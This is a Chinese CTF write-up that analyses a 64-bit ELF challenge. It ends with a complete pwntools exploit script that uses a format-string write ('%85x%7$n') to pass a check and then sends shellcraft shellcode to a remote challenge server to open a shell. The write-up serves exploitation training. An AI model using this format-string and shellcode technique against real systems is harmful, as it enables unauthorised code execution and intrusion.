国际惯例file,checksec一下,发现是64位的elf文件,不可修改got表,栈溢出保护开启,nx不可执行,没开地址随机化
这道题的流程比较复杂,交互较多,所以我们需要先分析清楚整个流程
拖入64位ida,shift+f12没发现什么有用的东西,直接分析程序,我只简单说,你们看不懂伪代码的直接丢ai看
sub_400996()函数内容就是输出我们下面交互界面的字符串和那条龙(运行不了文件chmod给它执行权限即可)
sub_400D72()内容
sub_400D72()中第一个函数内容
输入east后下面显示的内容和上面if分支里面sub_4009DD()函数内容没啥关系我就不看了
上面east后的内容是下面这个函数的
第三个函数
第三个函数内容主要是让主程序给的两个数相等,它们原本不相等,但我们可以利用上面的格式化字符串漏洞修改使其中一个数等于另外一个
mmap函数分配内存空间,我们输入的数据也是放在里面,权限7带有执行权限。
read函数从v1我们输入的数据中读取至多0x100位数据
((void (__fastcall *)(_QWORD))v1)(0LL); 这行代码将v1所指向的内存地址作为函数指针,并以0LL为参数调用该函数。如果之前通过read读入的数据实际上是一个可执行代码(即shellcode),并且mmap时设置了适当的执行权限,那么这里就会执行那段shellcode。
所以我们的解题思路出来了,利用格式化字符串漏洞将v4写成85即可进入sub_400CA6函数,随后注入shellcode代码获得shell
运行程序手动调试输入AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p来查找输入数据在格式化字符串中的参数位置为7(从0开始的的)
可以写脚本了,注释在代码里面
from pwn import *
sh = remote('61.147.171.105',58910)
sh.recvuntil("secret[0] is")
firstNumber_addr = int(sh.recvuntil("\n")[:-1],16) #这里前面说过了,v4是一个指向_DWORD(32位)的指针,
#因此printf函数将会输出v4第一个数所指向的内存地址的十六进制表示
#利用[:-1]python切片去掉接收数据的换行符\n,再用int(a,16)强制转换为int型
sh.sendlineafter("What should your character's name be:","thomas")
sh.sendlineafter("So, where you will go?east or up?:","east")
sh.sendlineafter("go into there(1), or leave(0)?:","1")
sh.sendlineafter("'Give me an address'",str(firstNumber_addr)) #将v4第一个数的地址强制转换为str发送,指针指向该处地址
payload = '%85x%7$n' #前面已经知道在格式化字符串漏洞中输出wish参数位置为7,%7$n将前面字符的个数%85x共占位85字符即将85输入到参数中
sh.sendlineafter("And, you wish is:",payload) #使用payload = b'a'*85 + '%7$n'也可以
context(os="linux",arch="amd64") #系统架构最好设置
shellcode = asm(shellcraft.sh()) #shellcraft.sh()是一个pwntools工具函数,它生成一个用于执行系统shell的shellcode。此时是汇编,但汇编是低级语言python执行不了再用asm函数转为二进制机器码执行
sh.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode) #read函数接收shellcode,而mmap函数为shellcode提供了可执行的内存空间,但真正导致shellcode执行的是最后的函数指针调用,它直接跳转到shellcode的起始地址并执行它
sh.interactive() #交互